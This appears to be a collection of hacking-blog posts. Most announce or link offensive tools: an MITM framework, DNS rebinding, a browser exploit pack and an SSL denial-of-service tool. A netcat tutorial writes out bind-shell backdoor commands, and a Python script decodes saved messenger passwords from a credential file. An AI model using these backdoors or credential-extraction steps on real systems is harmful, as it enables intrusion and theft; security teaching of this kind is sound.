Subterfuge - An Automated MITM Attack Framework

Subterfuge is a very useful tool for hackers and security experts for automating the man-in-the-middle attacks. It provides a complete framework for automating different kinds of MITM attacks.

Subterfuge largely transforms the complexity of performing the man-in-the-middle attacks with the tools such as ettercap and makes it far more easier to launch various form of MITMs. Hence, even a general computer user can perform MITM using this tool. Subterfuge provides a very clear interface accessible over HTTP through browser through which we can view the intercepted authentication data. The tool also supports several other form of MITM attacks such as session injection, http code injection, fake AP, and DNS spoofing.

Currently, the 4.3 beta version of this tool is available as the latest release. You can download the tool and read about the tool at code.google.com/p/subterfuge.

Installation is straightforward. Download the tar file from the above link and then run the following commands in terminal:

samar@samar-Techgaun:~$ tar -xvf SubterfugePublicBeta4.3.tar.gz samar@samar-Techgaun:~$ python install.py -i

After a while, the installation will complete. Now you can run the subterfuge framework by typing subterfuge in your terminal. Enjoy hacking :)
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DNS Rebinding Attack Using Rebind

Rebind is a tool that implements the multiple A record DNS rebinding attack. Although this tool was originally written to target home routers, it can be used to target any public (non RFC1918) IP address.

Rebind provides an external attacker access to a target router's internal Web interface. This tool works on routers that implement the weak end system model in their IP stack, have specifically configured firewall rules, and who bind their Web service to the router's WAN interface. Note that remote administration does not need to be enabled for this attack to work. All that is required is that a user inside the target network surf to a Web site that is controlled, or has been compromised, by the attacker.

Important Links

Download rebind

Tested Routers (Affected + Not affected)

Rebind FAQ

Defcon Slides



Kind of interesting vector and I guess many are vulnerable out there.


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Nmap 6.25 Holiday Season Released

After five months of the release of NMAP 6.01, a newer version 6.25 has been released yesterday.

Nmap 6.25 contains hundreds of improvements, including 85 new NSE scripts, nearly 1,000 new OS and service detection fingerprints, performance enhancements such as the new kqueue and poll I/O engines, better IPv6 traceroute support, Windows 8 improvements, and much more! It also includes the work of five Google Summer of Code interns who worked full time with Nmap mentors during the summer.

Nmap 6.25 source code and binary packages for Linux, Windows, and Mac are available for free download from:

http://nmap.org/download.html

Release details


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Reverse Shell Backdoor Cheatsheets Collection

Once you find your way to command execution after exploiting any of the flaws in web-apps, you look for interactive shell. You can do so by binding shell in some port or using reverse shell backdoor. Here are few links with awesome backdoor cheatsheet collections for obtaining reverse shell using different scripting languages:

PentestMonkey's Cheatsheet

Bernardo's Reverse Shells One-liners

GNU Citizen

In case you can't access pentest monkey, below is the cheatsheet in PNG format:

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Ninja Fu With Netcat - Hacker's Swiss Army Knife

Netcat is one of my favorite tools for network investigations and backdoor planting. Netcat is a seemingly simple but very powerful and useful tool to read and write network connections using TCP or UDP. In this post, we will see several examples of using netcat in different scenarios.

First of all, if you are using distros like Ubuntu, they are probably including the OpenBSD netcat which does not provide a very useful switch that lets us execute any command. The netcat-traditional offers this switch so for learning purpose, you should install the netcat-traditional package by issuing the command below in Ubuntu & its derivatives (However, beware of inherent risk with this feature of the traditional netcat):

samar@samar-Techgaun:~$ sudo apt-get install netcat-traditional

Now you can use both OpenBSD and traditional versions by using nc.openbsd and nc.traditional respectively. However, the nc command might still be symbolically linked with nc.openbsd (/etc/alternatives/nc). If you want to permanently use nc to refer nc.traditional, type the following command (or do sudo rm /bin/nc && sudo ln -s /bin/nc.traditional /bin/nc):

samar@samar-Techgaun:~$ sudo update-alternatives --config nc

As I had already said, netcat is a very useful tool for network related works and hence often referred as Hacker's Swiss Army Knife and TCP/IP Swiss Army Knife. You can use netcat for several purposes such as file transfer, port scanning, listen server, bind & reverse shells, backdoors, etc. Because of this, netcat has been a favorite tool for hackers to get and maintain access to the servers.

Before beginning with the examples, I would like to inform you that most of the times ports above 1024 are used to create listen servers with netcat. This is because ports below 1024 are reserved by OS for core network services and you can not bind to these ports without special privilege to the system.

Simple Netcat Listen Server

samar@samar-Techgaun:~$ nc -lvp 1234
listening on [any] 1234 ...

Simple Netcat Client

samar@samar-Techgaun:~$ nc -vvn 192.168.1.6 1234
(UNKNOWN) [192.168.1.6] 1234 (?) open

Once the client gets connected, the netcat listener might then look like this:

samar@samar-Techgaun:~$ nc -lvp 1234
listening on [any] 1234 ...
connect to [192.168.1.6] from samar-Techgaun.local [192.168.1.6] 38700

Noticed the port 38700 in the end? This is the port that the client uses to talk with the server. Observe that the value is much higher than 1024 and hence such ports are known as ephemeral port.

Once the client and server get connected, you can write anything and press ENTER. The data will get transmitted to the other end thus making netcat a data transfer tool.

Open Raw Connection With Netcat as client

samar@samar-Techgaun:~$ nc -vv ku.edu.np 80
Warning: inverse host lookup failed for 116.90.239.5: Unknown host
ku.edu.np [116.90.239.5] 80 (http) open
HEAD / HTTP/1.0\n\n

HTTP/1.1 200 OK
Date: Mon, 22 Oct 2012 04:46:49 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Connection: close
Content-Type: text/html; charset=UTF-8

sent 21, rcvd 171

As seen above, I opened the RAW connection to ku.edu.np and then issued HEAD / HTTP/1.0\n\n request to obtain the HTTP header. You can also notice (see web server version & PHP version?) that netcat can be used for basic fingerprinting and banner grabbing. Of course, this is not limited to HTTP fingerprinting. Extend the idea to work with other services.

Web Server Example Using Netcat

samar@samar-Techgaun:~/Desktop/test$ { echo -ne "HTTP/1.0 200 OK\r\nContent-Length: $(wc -c < my_file)\r\n\r\n"; cat my_file; } | nc -lv -p 8080
listening on [any] 8080 ...

This example taken from Wiki entry works as a one shot webserver hosting the my_file's content which can be accessed through web browser by specifying http://server:8080.

File Transfer Using Netcat

To transfer file from server to client, set up the server as below:

samar@samar-Techgaun:~$ cat my_file
I am DATA
samar@samar-Techgaun:~$ nc -lvp 1234 < my_file
listening on [any] 1234 ...

In the client end, do:

samar@samar-Techgaun:~$ nc -vv 192.168.1.6 1234 > output.txt
samar-Techgaun.local [192.168.1.6] 1234 (?) open
^C sent 0, rcvd 10
samar@samar-Techgaun:~$ cat output.txt
I am DATA

Port Scanning With Netcat

samar@samar-Techgaun:~$ nc -nvz -w1 192.168.1.1 1-1024
(UNKNOWN) [192.168.1.1] 80 (http) open
(UNKNOWN) [192.168.1.1] 23 (telnet) open
(UNKNOWN) [192.168.1.1] 21 (ftp) open

If you wish to scan number of hosts (or full network), you can do something like below:

samar@samar-Techgaun:~/Desktop/test$ for ip in $(seq 1 254); do nc -nvz -w1 192.168.1.$ip 1-1024; done

In the first example, ports 1-1024 are scanned in the host 192.168.1.1 and in the second example, a class C network 192.168.1.0/24 is scanned. However, netcat is by no means an advanced port scanner and tools such as nmap are great for this job.

Spawn a process

The -e switch can be specified to spawn a process in the system. In the server, type the command below:

samar@samar-Techgaun:~$ nc -lv -p 1234 -e /bin/bash
listening on [any] 1234 ...

At the other end, you will just connect to the just started netcat service and then issue any command that the bash recognizes. Good for shells in the servers, isn't it?

samar@samar-Techgaun:~$ nc -vv 192.168.1.6 1234
samar-Techgaun.local [192.168.1.6] 1234 (?) open
ls
my_file
output.txt

Netcat backdoor using mkfifo

Since the normal pipe (|) is not so reliable & works in a unidirectional fashion, linux offers something called named pipes which can be exploited to create advanced backdoor in the systems which might not consist the netcat with -e support.

samar@samar-Techgaun:~$ mkfifo /tmp/b4ck; sh /tmp/b4ck | nc -lvp 1234 > /tmp/b4ck
listening on [any] 1234 ...

At the other end, you just need to connect to the newly created netcat service port:

samar@samar-Techgaun:~$ nc -vv 192.168.1.6 1234
localhost [192.168.1.6] 1234 (?) open
ls
my_file
output.txt
sent 3, rcvd 33

I hope this post provides some directions on how to work with netcat and proves that netcat is called TCP/IP swiss army knife for the reason. There are other several possibilities with netcat. Explore to get more out of this awesome tool. ;)


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Hack Attack The Networks With Yersinia

Yersinia is a network attack tool that takes advantages of inherent weaknesses of several protocols to attack the network using different attack vectors. Yersinia can prove as a solid tool for analyzing and testing the deployed networks and systems for possible weaknesses.

The protocols implemented for testing using Yersinia are:

• Spanning Tree Protocol (STP)
• Cisco Discovery Protocol (CDP)
• Dynamic Trunking Protocol (DTP)
• Dynamic Host Configuration Protocol (DHCP)
• Hot Standby Router Protocol (HSRP)
• IEEE 802.1Q
• IEEE 802.1X
• Inter-Switch Link Protocol (ISL)
• VLAN Trunking Protocol (VTP)

Yersinia supports number of attacks in all of the above listed network protocols and hence can be used (or misused) to test any network.

The tool works on several operating systems such as OpenBSD 3.4 (with pcap libraries >= 0.7.2), Linux 2.4.x and 2.6.x, Solaris 5.8 64bits SPARC, Mac OSX 10.4 Tiger (Intel), etc.

Installation on ubuntu: Fire up the terminal and type:

sudo apt-get install yersinia

To download yersinia for other distros, go through the Download section of yersinia.


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NMAP 6 Released

Version 6 of nmap, one of the most widely used network exploration and security auditing tool was released on 21 May. Nmap (“Network Mapper”) is a free and open source (license) utility for network discovery and security auditing.

The nmap site says:

"The Nmap Project is pleased to announce the immediate, free availability of the Nmap Security Scanner version 6.00 from http://nmap.org/. It is the product of almost three years of work, 3,924 code commits, and more than a dozen point releases since the big Nmap 5 release in July 2009. Nmap 6 includes a more powerful Nmap Scripting Engine, 289 new scripts, better web scanning, full IPv6 support, the Nping packet prober, faster scans, and much more! We recommend that all current users upgrade."

The new version of nmap consists of 6 major improvements among several changes. Enhanced Nmap scripting engine(NSE), better web scanning, full-fledged IPv6 support, addition of nping tool, better zenmap GUI and faster scanning are the enhancements seen in the version 6 of nmap.

More Release Information

Download NMAP


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Emesene Password Cracker in Python

I had recently posted a small tutorial on Emesene messenger password cracking. I have coded a small python script today that automates the process of cracking the saved passwords of emesene messenger.

#!/usr/bin/python

import os, sys, pwd, binascii

def coder():
    print """
        Coded By Samar Dhwoj Acharya
        http://www.techgaun.com
        Checked in emesene1.0
        
    """

def getpass():
    user = pwd.getpwuid(os.getuid()).pw_name
    emesene_file = "/home/%s/.config/emesene1.0/users.dat" % (user)
    if os.path.exists(emesene_file) == True:
        fp = open(emesene_file, "r")
        for line in fp.readlines():
            line_list = line.split(":")
            line_list[1] = binascii.unhexlify(line_list[1])
            print "%s : %s" % (line_list[0], line_list[1])
        fp.close()
    else:
        print "Could not locate the users.dat file."
coder()
getpass()

To run this tool, type as following in the terminal:

./emesene_cracker.py

Download Emesene Password Revealer



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Bleeding Life 2 Released By Blackhat Academy

Bleeding Life 2 is a browser exploit pack that affects the web browsers on the Microsoft Windows operating system with remote code execution and buffer overflows. The tool can be used to launch client side browser exploits to the vulnerable users.

The wiki page of Bleeding Life enlists the exploits and features of this tool.

For download, click HERE.


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SSL DOS Tool From The Hacker's Choice

On october 24, the german hackers group The Hacker's Choice released a new Denial of Service(DOS) tool that exploits the weakness in the SSL implementation to take the servers down.
THC-SSL-DOS is a tool to verify the performance of SSL.
The Hacker's Choice says:

Establishing a secure SSL connection requires 15x more processing
power on the server than on the client.

THC-SSL-DOS exploits this asymmetric property by overloading the
server and knocking it off the Internet.

This problem affects all SSL implementations today.


For more information and downloads, visit THC SSL DOS Page.



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